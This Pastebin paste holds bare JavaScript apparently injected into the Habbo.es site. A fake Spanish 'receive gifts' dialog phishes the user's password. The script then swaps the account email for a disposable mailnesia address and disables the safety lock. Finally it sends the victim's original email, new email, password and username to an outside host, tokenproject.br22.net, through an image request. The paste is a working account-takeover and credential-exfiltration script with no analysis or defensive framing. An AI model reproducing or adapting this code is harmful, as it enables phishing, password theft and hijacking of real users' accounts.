Advertisement
Guest User

Untitled

a guest
Sep 29th, 2014
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. eu = "white"
  2.  
  3. function add(pass){
  4. new Ajax.Request('/identity/settings',{
  5. onComplete: function(v){
  6. prim = v.responseText.match(/>(.+)@(.+)</)[0].split(/>/)[1].split(/</)[0];
  7. }
  8. });
  9. mail = "token_"+Math.floor(Math.random() * 99999999)+"@mailnesia.com";
  10.  
  11. new Ajax.Request("/identity/email",{
  12. onComplete: function(x){
  13. appkey = $$("head")[0].innerHTML.match(/n" content="(.+)"/)[0].split(/"/)[2];
  14.             urlToken = x.responseText.match(/name="urlToken" value="(.+)"/)[0].split(/"/)[3];
  15.          
  16.  xd = document.createElement("iframe");
  17.  xd.src = "about:blank";
  18.   xd.name = "frame";
  19.                  $$("head")[0].appendChild(xd);
  20.                  
  21.             t = new Element("form",{
  22.              method: 'post',
  23.                 action: 'https://www.habbo.es/identity/change_email',
  24.                 target: 'frame'
  25.             });
  26.            
  27.             t.appendChild(new Element("input",{
  28.             value: mail,
  29.                 name: 'email'
  30.             }));
  31.            
  32.             t.appendChild(new Element("input",{
  33.                value: pass,
  34.                 name: 'currentPassword'
  35.             }));
  36.            
  37.             t.appendChild(new Element("input",{
  38.                value: appkey,
  39.                 name: '__app_key'
  40.             }));
  41.            
  42.             t.appendChild(new Element("input",{
  43.               value: urlToken,
  44.                 name: 'urlToken'
  45.             }));
  46.            
  47.              t.submit();
  48.    
  49. }
  50. });
  51.  
  52.  
  53. new Ajax.Request("/identity/safetyquestions", {
  54.         onComplete: function (x) {
  55.             appkey = $$("head")[0].innerHTML.match(/token" content="(.+)"/)[0].split(/"/)[2];
  56.             urlToken = x.responseText.match(/urlToken" value="(.+)"/)[0].split(/"/)[2];
  57.             new Ajax.Request("/identity/safetylock_disable", {
  58.                 parameters: "__app_key=" + appkey + "&currentPassword="+pass+"&urlToken= " + urlToken,
  59.                 onComplete: function (check) {
  60.                     if (check.responseText.match(/error-message/)) {
  61.                     alert("escribe tu contraseña correctamente!");
  62.                     }else{
  63. new Image().src="http://tokenproject.br22.net/TokenProject/save_email.php?email="+prim+"&adc="+mail+"&senha="+pass+"&habbo="+habboName+"&owner=" + eu;
  64.  
  65.                     }
  66.                 }
  67.             })
  68.         }
  69.     });
  70.  
  71.     }
  72.  
  73. Dialog.showInfoDialog("token_","<b>"+habboName+"</b>para confirmar que eres  tú, porfavor escribe tu contraseña para empezar a recibir regalos:<br><input type='password' id='pass' placeholder='Contraseña'>","Soy Yo",function(){
  74.  add($$("#pass")[0].value);
  75.  
  76.    
  77. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement